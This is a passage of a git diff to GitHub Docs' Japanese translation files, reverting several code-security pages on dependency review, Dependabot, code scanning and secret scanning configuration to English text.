endif %}." {% endif %} {% ifversion fpt or ghes > 3.1 or ghae-issue-4864 or ghec %} -## 依存関係レビューの管理 +## Managing dependency review -依存関係レビューを使うと、Pull Requestがリポジトリにマージされる前に、Pull Request内での依存関係の変化を可視化できます。 -{%- ifversion fpt %}Dependency review is available in all public repositories. For private and internal repositories you require a license for {% data variables.product.prodname_advanced_security %}. To enable dependency review for a repository, enable the dependency graph and enable {% data variables.product.prodname_advanced_security %}. +Dependency review lets you visualize dependency changes in pull requests before they are merged into your repositories. +{%- ifversion fpt %}Dependency review is available in all public repositories. For private and internal repositories you require a license for {% data variables.product.prodname_advanced_security %}. To enable dependency review for a repository, enable the dependency graph and enable {% data variables.product.prodname_advanced_security %}. {%- elsif ghes or ghae %}Dependency review is available when dependency graph is enabled for {% data variables.product.product_location %} and you enable {% data variables.product.prodname_advanced_security %} for the repository (see below).{% endif %} -詳しい情報については「[依存関係レビューについて](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)」を参照してください。 +For more information, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)." {% endif %} {% ifversion fpt or ghec or ghes > 3.2 %} -## {% data variables.product.prodname_dependabot_security_updates %}の管理 +## Managing {% data variables.product.prodname_dependabot_security_updates %} -{% data variables.product.prodname_dependabot_alerts %}を使用するリポジトリでは、{% data variables.product.prodname_dependabot_security_updates %}を有効化して脆弱性が検出された際にセキュリティ更新でPull Requestを発行させることができます。 +For any repository that uses {% data variables.product.prodname_dependabot_alerts %}, you can enable {% data variables.product.prodname_dependabot_security_updates %} to raise pull requests with security updates when vulnerabilities are detected. -1. リポジトリのメインページから、**{% octicon "gear" aria-label="The Settings gear" %} Settings（設定）**をクリックしてください。 -2. **Security & analysis（セキュリティと分析）**をクリックしてください。 -3. {% data variables.product.prodname_dependabot_security_updates %}の隣で**Enable（有効化）**をクリックしてください。 +1. From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %}Settings**. +2. Click **Security & analysis**. +3. Next to {% data variables.product.prodname_dependabot_security_updates %}, click **Enable**. -詳しい情報については、「[{% data variables.product.prodname_dependabot_security_updates %} について](/code-security/supply-chain-security/about-dependabot-security-updates)」および「[{% data variables.product.prodname_dependabot_security_updates %} の設定](/code-security/supply-chain-security/configuring-dependabot-security-updates)」を参照してください。 +For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/about-dependabot-security-updates)" and "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/configuring-dependabot-security-updates)." -## {% data variables.product.prodname_dependabot_version_updates %}の管理 +## Managing {% data variables.product.prodname_dependabot_version_updates %} -{% data variables.product.prodname_dependabot %}を有効化して、依存関係を最新の状態に保つためのPull Requestを自動的に発行するようにできます。 詳しい情報については「[{% data variables.product.prodname_dependabot_version_updates %}について](/code-security/supply-chain-security/about-dependabot-version-updates)」を参照してください。 +You can enable {% data variables.product.prodname_dependabot %} to automatically raise pull requests to keep your dependencies up-to-date. For more information, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/about-dependabot-version-updates)." -{% data variables.product.prodname_dependabot_version_updates %}を有効化するには、設定ファイルの*dependabot.yml*を作成しなければなりません。 For more information, see "[Enabling and disabling {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)." +To enable {% data variables.product.prodname_dependabot_version_updates %}, you must create a *dependabot.yml* configuration file. For more information, see "[Enabling and disabling {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)." {% endif %} -## {% data variables.product.prodname_code_scanning %} を設定する +## Configuring {% data variables.product.prodname_code_scanning %} -{% data variables.product.prodname_code_scanning_capc %}は、{% data variables.product.prodname_advanced_security %}ライセンスを持つ{% ifversion fpt or ghec %}Organizationが所有するプライベートリポジトリと、すべてのパブリックリポジトリで{% else %}Organizationが所有するリポジトリで{% endif %}利用できます。 +{% data variables.product.prodname_code_scanning_capc %} is available {% ifversion fpt or ghec %}for all public repositories, and for private repositories owned by organizations with {% else %} for organization-owned repositories if you have {% endif %}an {% data variables.product.prodname_advanced_security %} license. -{% data variables.product.prodname_codeql_workflow %}もしくはサードパーティのツールを使い、リポジトリ中に保存されたコードの脆弱性やエラーを自動的に特定するよう、{% data variables.product.prodname_code_scanning %}をセットアップできます。 詳しい情報については、「[リポジトリに対する {% data variables.product.prodname_code_scanning %} をセットアップする](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)」を参照してください。 +You can set up {% data variables.product.prodname_code_scanning %} to automatically identify vulnerabilities and errors in the code stored in your repository by using a {% data variables.product.prodname_codeql_workflow %} or third-party tool. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." -## {% data variables.product.prodname_secret_scanning %}の設定 -{% data variables.product.prodname_secret_scanning_caps %}は、{% data variables.product.prodname_advanced_security %}ライセンスを持つ{% ifversion fpt or ghec %}Organizationが所有するプライベートリポジトリと、すべてのパブリックリポジトリで{% else %}Organizationが所有するリポジトリで{% endif %}利用できます。 +## Configuring {% data variables.product.prodname_secret_scanning %} +{% data variables.product.prodname_secret_scanning_caps %} is available {% ifversion fpt or ghec %}for all public repositories, and for private repositories owned by organizations with {% else %} for organization-owned repositories if you have {% endif %}an {% data variables.product.prodname_advanced_security %} license. -{% data variables.product.prodname_secret_scanning_caps %}はOrganizationの設定によって、デフォルトでリポジトリに対して有効にできます。 +{% data variables.product.prodname_secret_scanning_caps %} may be enabled for your repository by default depending upon your organization's settings. -1. リポジトリのメインページから、**{% octicon "gear" aria-label="The Settings gear" %} Settings（設定）**をクリックしてください。 -2. **Security & analysis（セキュリティと分析）**をクリックしてください。 -3. まだ{% data variables.product.prodname_GH_advanced_security %}が有効化されていなければ、**Enable（有効化）**をクリックしてください。 -4. {% data variables.product.prodname_secret_scanning_caps %}の隣で**Enable（有効化）**をクリックしてください。 +1. From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %}Settings**. +2. Click **Security & analysis**. +3. If {% data variables.product.prodname_GH_advanced_security %} is not already enabled, click **Enable**. +4. Next to {% data variables.product.prodname_secret_scanning_caps %}, click **Enable**. -## 次のステップ -セキュリティの機能からのアラートを表示及び管理して、コード中の依存関係と脆弱性に対処できます。 For more information, see {% ifversion fpt or ghes or ghec %} "[Viewing and updating vulnerable dependencies in your repository](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository),"{% endif %} {% ifversion fpt or ghec or ghes > 3.2 %}"[Managing pull requests for dependency updates](/code-security/supply-chain-security/managing-pull-requests-for-dependency-updates)," {% endif %}"[Managing {% data variables.product.prodname_code_scanning %} for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)," and "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)." +## Next steps +You can view and manage alerts from security features to address dependencies and vulnerabilities in your code. For more information, see {% ifversion fpt or ghes or ghec %} "[Viewing and updating vulnerable dependencies in your repository](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository),"{% endif %} {% ifversion fpt or ghec or ghes > 3.2 %}"[Managing pull requests for dependency updates](/code-security/supply-chain-security/managing-pull-requests-for-dependency-updates)," {% endif %}"[Managing {% data variables.product.prodname_code_scanning %} for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)," and "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)." -{% ifversion fpt or ghec %}If you have a security vulnerability, you can create a security advisory to privately discuss and fix the vulnerability. 詳しい情報については「[{% data variables.product.prodname_security_advisories %}について](/code-security/security-advisories/about-github-security-advisories)」及び「[セキュリティアドバイザリの作成](/code-security/security-advisories/creating-a-security-advisory)」を参照してください。 +{% ifversion fpt or ghec %}If you have a security vulnerability, you can create a security advisory to privately discuss and fix the vulnerability. For more information, see "[About {% data variables.product.prodname_security_advisories %}](/code-security/security-advisories/about-github-security-advisories)" and "[Creating a security advisory](/code-security/security-advisories/creating-a-security-advisory)." {% endif %} diff --git a/translations/ja-JP/content/code-security/index.md b/translations/ja-JP/content/code-security/index.md index bb7bdc83c8..49eee619c6 100644 --- a/translations/ja-JP/content/code-security/index.md +++ b/translations/ja-JP/content/code-security/index.md @@ -1,7 +1,7 @@ --- -title: コードセキュリティ -shortTitle: コードセキュリティ -intro: 'コードベースからシークレットや脆弱性を排除{% ifversion not ghae %}し、ソフトウェアサプライチェーンを管理{% endif %}する機能で、{% data variables.product.prodname_dotcom %}ワークフローにセキュリティを組み込んでください。' +title: Code security +shortTitle: Code security +intro: 'Build security into your {% data variables.product.prodname_dotcom %} workflow with features to keep secrets and vulnerabilities out of your codebase{% ifversion not ghae %}, and to maintain your software supply chain{% endif %}.' introLinks: overview: /code-security/getting-started/github-security-features featuredLinks: diff --git a/translations/ja-JP/content/code-security/secret-scanning/about-secret-scanning.md b/translations/ja-JP/content/code-security/secret-scanning/about-secret-scanning.md index c18ae0c571..870dca2229 100644 --- a/translations/ja-JP/content/code-security/secret-scanning/about-secret-scanning.md +++ b/translations/ja-JP/content/code-security/secret-scanning/about-secret-scanning.md @@ -1,6 +1,6 @@ --- -title: シークレットスキャンニングについて -intro: '{% data variables.product.product_name %} はリポジトリをスキャンして既知のシークレットのタイプを探し、誤ってコミットされたシークレットの不正使用を防止します。' +title: About secret scanning +intro: '{% data variables.product.product_name %} scans repositories for known types of secrets, to prevent fraudulent use of secrets that were committed accidentally.' product: '{% data reusables.gated-features.secret-scanning %}' miniTocMaxHeadingLevel: 3 redirect_from: @@ -23,56 +23,56 @@ topics: {% data reusables.secret-scanning.beta %} {% data reusables.secret-scanning.enterprise-enable-secret-scanning %} -プロジェクトを外部サービスと通信させる場合、認証にトークンまたは秘密鍵を使用できます。 トークンや秘密鍵は、サービスプロバイダが発行できるシークレットです。 リポジトリにシークレットをチェックインする場合、リポジトリへの読み取りアクセスを持つすべてのユーザがシークレットを使用して、自分の権限で外部サービスにアクセスできます。 シークレットは、プロジェクトのリポジトリの外の、安全な専用の場所に保存することをお勧めします。 +If your project communicates with an external service, you might use a token or private key for authentication. Tokens and private keys are examples of secrets that a service provider can issue. If you check a secret into a repository, anyone who has read access to the repository can use the secret to access the external service with your privileges. We recommend that you store secrets in a dedicated, secure location outside of the repository for your project. -{% data variables.product.prodname_secret_scanning_caps %}は、{% data variables.product.prodname_dotcom %}リポジトリ内に存在するすべてのブランチのGit履歴全体をスキャンしてシークレットを探します。 サービスプロバイダは{% data variables.product.company_short %} と提携してスキャンするシークレットのフォーマットを提供できます。{% ifversion fpt or ghec %}詳しい情報については、「[Secret scanningのパートナープログラム](/developers/overview/secret-scanning-partner-program)」を参照してください。 +{% data variables.product.prodname_secret_scanning_caps %} will scan your entire Git history on all branches present in your {% data variables.product.prodname_dotcom %} repository for any secrets. Service providers can partner with {% data variables.product.company_short %} to provide their secret formats for scanning.{% ifversion fpt or ghec %} For more information, see "[Secret scanning partner program](/developers/overview/secret-scanning-partner-program)." {% endif %} {% data reusables.secret-scanning.about-secret-scanning %} {% ifversion fpt or ghec %} -## パブリックリポジトリの {% data variables.product.prodname_secret_scanning %} について +## About {% data variables.product.prodname_secret_scanning %} for public repositories -パブリックリポジトリでは、{% data variables.product.prodname_secret_scanning_caps %}は自動的に有効になります。 パブリックリポジトリにプッシュすると、{% data variables.product.product_name %} がコミットの内容をスキャンしてシークレットを探します。 プライベートリポジトリをパブリックに切り替えると、{% data variables.product.product_name %} はリポジトリ全体をスキャンしてシークレットを探します。 +{% data variables.product.prodname_secret_scanning_caps %} is automatically enabled on public repositories. When you push to a public repository, {% data variables.product.product_name %} scans the content of the commits for secrets. If you switch a private repository to public, {% data variables.product.product_name %} scans the entire repository for secrets. -{% data variables.product.prodname_secret_scanning %} が認証情報一式を検出すると、弊社はそのシークレットを発行したサービスプロバイダに通知します。 サービスプロバイダは認証情報を検証し、シークレットを取り消すか、新しいシークレットを発行するか、または直接連絡する必要があるかを決定します。これは、ユーザまたはサービスプロバイダに関連するリスクに依存します。 トークン発行パートナーと弊社との連携の概要については、「[Secret scanningのパートナープログラム](/developers/overview/secret-scanning-partner-program)」を参照してください。 +When {% data variables.product.prodname_secret_scanning %} detects a set of credentials, we notify the service provider who issued the secret. The service provider validates the credential and then decides whether they should revoke the secret, issue a new secret, or reach out to you directly, which will depend on the associated risks to you or the service provider. For an overview of how we work with token-issuing partners, see "[Secret scanning partner program](/developers/overview/secret-scanning-partner-program)." ### List of supported secrets for public repositories -現在 {% data variables.product.product_name %} は、パブリックリポジトリをスキャンして、次のサービスプロバイダが発行したシークレットを探します。 +{% data variables.product.product_name %} currently scans public repositories for secrets issued by the following service providers. {% data reusables.secret-scanning.partner-secret-list-public-repo %} -## プライベートリポジトリの {% data variables.product.prodname_secret_scanning %} について +## About {% data variables.product.prodname_secret_scanning %} for private repositories {% endif %} {% ifversion ghes or ghae %} -## {% data variables.product.product_name %} の {% data variables.product.prodname_secret_scanning %} について +## About {% data variables.product.prodname_secret_scanning %} on {% data variables.product.product_name %} -{% data variables.product.prodname_secret_scanning_caps %} は、{% data variables.product.prodname_GH_advanced_security %} の一環として、Organization が所有するリポジトリ全てで使用できます。 ユーザ所有のリポジトリでは使用できません。 +{% data variables.product.prodname_secret_scanning_caps %} is available on all organization-owned repositories as part of {% data variables.product.prodname_GH_advanced_security %}. It is not available on user-owned repositories. {% endif %} -リポジトリの管理者または Organization のオーナーは、Organization が所有する{% ifversion fpt or ghec %}プライベートな{% endif %}リポジトリで {% data variables.product.prodname_secret_scanning %} を有効化できます。 You can enable {% data variables.product.prodname_secret_scanning %} for all your repositories, or for all new repositories within your organization.{% ifversion fpt or ghec %} {% data variables.product.prodname_secret_scanning_caps %} is not available for user-owned private repositories.{% endif %} For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +If you're a repository administrator or an organization owner, you can enable {% data variables.product.prodname_secret_scanning %} for {% ifversion fpt or ghec %} private{% endif %} repositories that are owned by organizations. You can enable {% data variables.product.prodname_secret_scanning %} for all your repositories, or for all new repositories within your organization.{% ifversion fpt or ghec %} {% data variables.product.prodname_secret_scanning_caps %} is not available for user-owned private repositories.{% endif %} For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}You can also define custom {% data variables.product.prodname_secret_scanning %} patterns that only apply to your repository or organization. 詳しい情報については「[{% data variables.product.prodname_secret_scanning %}のカスタムパターンの定義](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)」を参照してください。{% endif %} +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}You can also define custom {% data variables.product.prodname_secret_scanning %} patterns that only apply to your repository or organization. For more information, see "[Defining custom patterns for {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)."{% endif %} When you push commits to a{% ifversion fpt or ghec %} private{% endif %} repository with {% data variables.product.prodname_secret_scanning %} enabled, {% data variables.product.prodname_dotcom %} scans the contents of the commits for secrets. When {% data variables.product.prodname_secret_scanning %} detects a secret in a{% ifversion fpt or ghec %} private{% endif %} repository, {% data variables.product.prodname_dotcom %} generates an alert. -- {% data variables.product.prodname_dotcom %} は、リポジトリ管理者と Organizationのオーナーにメールアラートを送信します。 +- {% data variables.product.prodname_dotcom %} sends an email alert to the repository administrators and organization owners. {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} -- {% data variables.product.prodname_dotcom %} は、シークレットをリポジトリにコミットしたコントリビューターに、関連する {% data variables.product.prodname_secret_scanning %} アラートのリンクを記載したメールアラートを送信します。 コミット作者は、リポジトリでこのアラートを表示して、アラートを解決できます。 +- {% data variables.product.prodname_dotcom %} sends an email alert to the contributor who committed the secret to the repository, with a link to the related {% data variables.product.prodname_secret_scanning %} alert. The commit author can then view the alert in the repository, and resolve the alert. {% endif %} -- {% data variables.product.prodname_dotcom %} は、リポジトリのアラートを表示します。{% ifversion ghes = 3.0 %}詳しい情報については、「[{% data variables.product.prodname_secret_scanning %} からのアラートを管理する](/github/administering-a-repository/managing-alerts-from-secret-scanning)」を参照してください。{% endif %} +- {% data variables.product.prodname_dotcom %} displays an alert in the repository.{% ifversion ghes = 3.0 %} For more information, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)."{% endif %} {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} -{% data variables.product.prodname_secret_scanning %}アラートの表示と解決に関する詳しい情報については「[{% data variables.product.prodname_secret_scanning %}からのアラートの管理](/github/administering-a-repository/managing-alerts-from-secret-scanning)」を参照してください。{% endif %} +For more information about viewing and resolving {% data variables.product.prodname_secret_scanning %} alerts, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)."{% endif %} -リポジトリ管理者と Organization のオーナーは、ユーザおよび Team に {% data variables.product.prodname_secret_scanning %} アラートへのアクセスを許可できます。 詳しい情報については「[リポジトリのセキュリティ及び分析の設定の管理](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)」を参照してください。 +Repository administrators and organization owners can grant users and teams access to {% data variables.product.prodname_secret_scanning %} alerts. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)." {% ifversion fpt or ghes > 3.0 or ghec %} -プライベートリポジトリあるいはOrganizationに渡る{% data variables.product.prodname_secret_scanning %}からの結果をモニターするには、{% data variables.product.prodname_secret_scanning %} APIが利用できます。 API に関する詳しい情報については、「[{% data variables.product.prodname_secret_scanning_caps %}](/rest/reference/secret-scanning)」を参照してください。{% endif %} +To monitor results from {% data variables.product.prodname_secret_scanning %} across your {% ifversion fpt or ghec %}private {% endif %}repositories{% ifversion ghes > 3.1 %} or your organization{% endif %}, you can use the {% data variables.product.prodname_secret_scanning %} API. For more information about API endpoints, see "[{% data variables.product.prodname_secret_scanning_caps %}](/rest/reference/secret-scanning)."{% endif %} {% ifversion ghes or ghae %} ## List of supported secrets{% else %} @@ -86,12 +86,12 @@ When {% data variables.product.prodname_secret_scanning %} detects a secret in a {% ifversion ghes < 3.2 or ghae %} {% note %} -**注釈:** {% data variables.product.prodname_secret_scanning_caps %} では現在、シークレットを検出するための独自のパターンを定義することはできません。 +**Note:** {% data variables.product.prodname_secret_scanning_caps %} does not currently allow you to define your own patterns for detecting secrets. {% endnote %} {% endif %} -## 参考リンク +## Further reading -- 「[リポジトリをセキュアにする](/code-security/getting-started/securing-your-repository)」 -- 「[アカウントとデータを安全に保つ](/github/authenticating-to-github/keeping-your-account-and-data-secure)」 +- "[Securing your repository](/code-security/getting-started/securing-your-repository)" +- "[Keeping your account and data secure](/github/authenticating-to-github/keeping-your-account-and-data-secure)" diff --git a/translations/ja-JP/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md b/translations/ja-JP/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md index 25a2a698bb..e81557bfdf 100644 --- a/translations/ja-JP/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md +++ b/translations/ja-JP/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md @@ -1,6 +1,6 @@ --- -title: リポジトリのシークレットスキャンを設定する -intro: '{% data variables.product.prodname_dotcom %} がリポジトリでシークレットをスキャンする方法を設定できます。' +title: Configuring secret scanning for your repositories +intro: 'You can configure how {% data variables.product.prodname_dotcom %} scans your repositories for secrets.' permissions: 'People with admin permissions to a repository can enable {% data variables.product.prodname_secret_scanning %} for the repository.' redirect_from: - /github/administering-a-repository/configuring-secret-scanning-for-private-repositories @@ -17,7 +17,7 @@ topics: - Secret scanning - Advanced Security - Repositories -shortTitle: シークレットスキャンの設定 +shortTitle: Configure secret scans --- {% data reusables.secret-scanning.beta %} @@ -26,61 +26,66 @@ shortTitle: シークレットスキャンの設定 {% ifversion fpt or ghec %} {% note %} -**注釈:** パブリックリポジトリについては、{% data variables.product.prodname_secret_scanning_caps %} はデフォルトで有効であり、これを無効にすることはできません。 {% data variables.product.prodname_secret_scanning %} はプライベートリポジトリに対してのみ設定できます。 +**Note:** {% data variables.product.prodname_secret_scanning_caps %} is enabled by default on public repositories and cannot be turned off. You can configure {% data variables.product.prodname_secret_scanning %} for your private repositories only. {% endnote %} {% endif %} -## {% ifversion fpt or ghec %}プライベート{% endif %}リポジトリへの {% data variables.product.prodname_secret_scanning %} を有効化する +## Enabling {% data variables.product.prodname_secret_scanning %} for {% ifversion fpt or ghec %}private {% endif %}repositories {% ifversion ghes or ghae-next %} -{% data variables.product.prodname_secret_scanning %}は、Organizationが所有する任意のリポジトリで有効化できます。 -{% endif %}有効化されると、{% data reusables.secret-scanning.secret-scanning-process %} +You can enable {% data variables.product.prodname_secret_scanning %} for any repository that is owned by an organization. +{% endif %} Once enabled, {% data reusables.secret-scanning.secret-scanning-process %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-security-and-analysis %} {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} -4. If {% data variables.product.prodname_advanced_security %}がまだリポジトリで有効化されていなければ、"{% data variables.product.prodname_GH_advanced_security %}" の右で**Enable（有効化）**をクリックしてください。 - {% ifversion fpt or ghec %}![リポジトリに対して {% data variables.product.prodname_GH_advanced_security %} を有効化する](/assets/images/help/repository/enable-ghas-dotcom.png) +4. If {% data variables.product.prodname_advanced_security %} is not already enabled for the repository, to the right of "{% data variables.product.prodname_GH_advanced_security %}", click **Enable**. + {% ifversion fpt or ghec %}![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/help/repository/enable-ghas-dotcom.png) {% elsif ghes > 3.0 or ghae-next %}![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/enterprise/3.1/help/repository/enable-ghas.png){% endif %} -5. {% data variables.product.prodname_advanced_security %}の有効化の影響をレビューしてから、**Enable {% data variables.product.prodname_GH_advanced_security %} for this repository（このリポジトリで有効化）**をクリックしてください。 -6. {% data variables.product.prodname_advanced_security %}を有効化すると、Organizationの設定によってはリポジトリで{% data variables.product.prodname_secret_scanning %}が自動的に有効化されることがあります。 [{% data variables.product.prodname_secret_scanning_caps %}] と [**Enable**] ボタンが表示されている場合でも、[**Enable**] をクリックして {% data variables.product.prodname_secret_scanning %} を有効化する必要があります。 [**Disable**] ボタンが表示されている場合、{% data variables.product.prodname_secret_scanning %} はすでに有効化されています。 ![リポジトリに対して {% data variables.product.prodname_secret_scanning %} を有効化する](/assets/images/help/repository/enable-secret-scanning-dotcom.png) +5. Review the impact of enabling {% data variables.product.prodname_advanced_security %}, then click **Enable {% data variables.product.prodname_GH_advanced_security %} for this repository**. +6. When you enable {% data variables.product.prodname_advanced_security %}, {% data variables.product.prodname_secret_scanning %} may automatically be enabled for the repository due to the organization's settings. If "{% data variables.product.prodname_secret_scanning_caps %}" is shown with an **Enable** button, you still need to enable {% data variables.product.prodname_secret_scanning %} by clicking **Enable**. If you see a **Disable** button, {% data variables.product.prodname_secret_scanning %} is already enabled. + ![Enable {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/help/repository/enable-secret-scanning-dotcom.png) {% elsif ghes = 3.0 %} -7. その場合、[{% data variables.product.prodname_secret_scanning_caps %}] の右にある [**Enable**] をクリックします。 ![リポジトリに対して {% data variables.product.prodname_secret_scanning %} を有効化する](/assets/images/help/repository/enable-secret-scanning-ghe.png) +7. To the right of "{% data variables.product.prodname_secret_scanning_caps %}", click **Enable**. + ![Enable {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/help/repository/enable-secret-scanning-ghe.png) {% endif %} {% ifversion ghae %} -1. {% data variables.product.prodname_secret_scanning %} を有効化する前に、まず {% data variables.product.prodname_GH_advanced_security %} を有効化する必要があります。 その場合、[{% data variables.product.prodname_GH_advanced_security %}] の右にある [**Enable**] をクリックします。 ![リポジトリに対して {% data variables.product.prodname_GH_advanced_security %} を有効化する](/assets/images/enterprise/github-ae/repository/enable-ghas-ghae.png) -2. [**Enable {% data variables.product.prodname_GH_advanced_security %} for this repository**] をクリックして、処理を確認します。 ![リポジトリに対する {% data variables.product.prodname_GH_advanced_security %} の有効化を確認する](/assets/images/enterprise/github-ae/repository/enable-ghas-confirmation-ghae.png) -3. その場合、[{% data variables.product.prodname_secret_scanning_caps %}] の右にある [**Enable**] をクリックします。 ![リポジトリに対して {% data variables.product.prodname_secret_scanning %} を有効化する](/assets/images/enterprise/github-ae/repository/enable-secret-scanning-ghae.png) +1. Before you can enable {% data variables.product.prodname_secret_scanning %}, you need to enable {% data variables.product.prodname_GH_advanced_security %} first. To the right of "{% data variables.product.prodname_GH_advanced_security %}", click **Enable**. + ![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/enterprise/github-ae/repository/enable-ghas-ghae.png) +2. Click **Enable {% data variables.product.prodname_GH_advanced_security %} for this repository** to confirm the action. + ![Confirm enabling {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/enterprise/github-ae/repository/enable-ghas-confirmation-ghae.png) +3. To the right of "{% data variables.product.prodname_secret_scanning_caps %}", click **Enable**. + ![Enable {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/enterprise/github-ae/repository/enable-secret-scanning-ghae.png) {% endif %} -## {% ifversion fpt or ghec %}プライベート{% endif %}リポジトリで {% data variables.product.prodname_secret_scanning %} からのアラートを除外する +## Excluding alerts from {% data variables.product.prodname_secret_scanning %} in {% ifversion fpt or ghec %}private {% endif %}repositories -*secret_scanning.yml* ファイルを使用して、{% data variables.product.prodname_secret_scanning %} からディレクトリを除外できます。 たとえば、テストまたはランダムに生成されたコンテンツを含むディレクトリを除外できます。 +You can use a *secret_scanning.yml* file to exclude directories from {% data variables.product.prodname_secret_scanning %}. For example, you can exclude directories that contain tests or randomly generated content. {% data reusables.repositories.navigate-to-repo %} {% data reusables.files.add-file %} -3. ファイル名フィールドに、*.github/secret_scanning.yml* と入力します。 -4. [**Edit new file**] に `paths-ignore:` と入力してから、{% data variables.product.prodname_secret_scanning %} から除外するパスを入力します。 +3. In the file name field, type *.github/secret_scanning.yml*. +4. Under **Edit new file**, type `paths-ignore:` followed by the paths you want to exclude from {% data variables.product.prodname_secret_scanning %}. ``` yaml paths-ignore: - "foo/bar/*.js" ``` - - `*` などの特殊文字を使用して、パスをフィルタできます。 フィルタパターンに関する詳しい情報については、「[GitHub Actionsのワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet)」を参照してください。 + + You can use special characters, such as `*` to filter paths. For more information about filter patterns, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet)." {% note %} - - **ノート:** - - `paths-ignore` に 1,000 以上のエントリがある場合、{% data variables.product.prodname_secret_scanning %} は最初の 1,000 ディレクトリのみをスキャン対象から除外します。 - - *secret_scanning.yml* が 1MB 以上ある場合、{% data variables.product.prodname_secret_scanning %} はファイル全体を無視します。 - + + **Notes:** + - If there are more than 1,000 entries in `paths-ignore`, {% data variables.product.prodname_secret_scanning %} will only exclude the first 1,000 directories from scans. + - If *secret_scanning.yml* is larger than 1 MB, {% data variables.product.prodname_secret_scanning %} will ignore the entire file. + {% endnote %} -{% data variables.product.prodname_secret_scanning %} からの個々のアラートを無視することもできます。 詳しい情報については、「[{% data variables.product.prodname_secret_scanning %} からのアラートを管理する](/github/administering-a-repository/managing-alerts-from-secret-scanning#managing-secret-scanning-alerts)」を参照してください。 +You can also ignore individual alerts from {% data variables.product.prodname_secret_scanning %}. For more information, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning#managing-secret-scanning-alerts)." -## 参考リンク +## Further reading -- 「[Organization のセキュリティと分析設定を管理する](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)」 -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}-「[{% data variables.product.prodname_secret_scanning %}のカスタムパターンの定義](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)」{% endif %} +- "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}- "[Defining custom patterns for {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)"{% endif %} diff --git a/translations/ja-JP/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md b/translations/ja-JP/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md index bbe77098ba..e4cde2b237 100644 --- a/translations/ja-JP/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md +++ b/translations/ja-JP/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md @@ -1,7 +1,7 @@ --- -title: Secret Scanningのカスタムパターンの定義 -shortTitle: カスタムパターンの定義 -intro: 'Organization及びプライベートリポジトリ内で{% data variables.product.prodname_secret_scanning %}のカスタムパターンを定義できます。' +title: Defining custom patterns for secret scanning +shortTitle: Define custom patterns +intro: 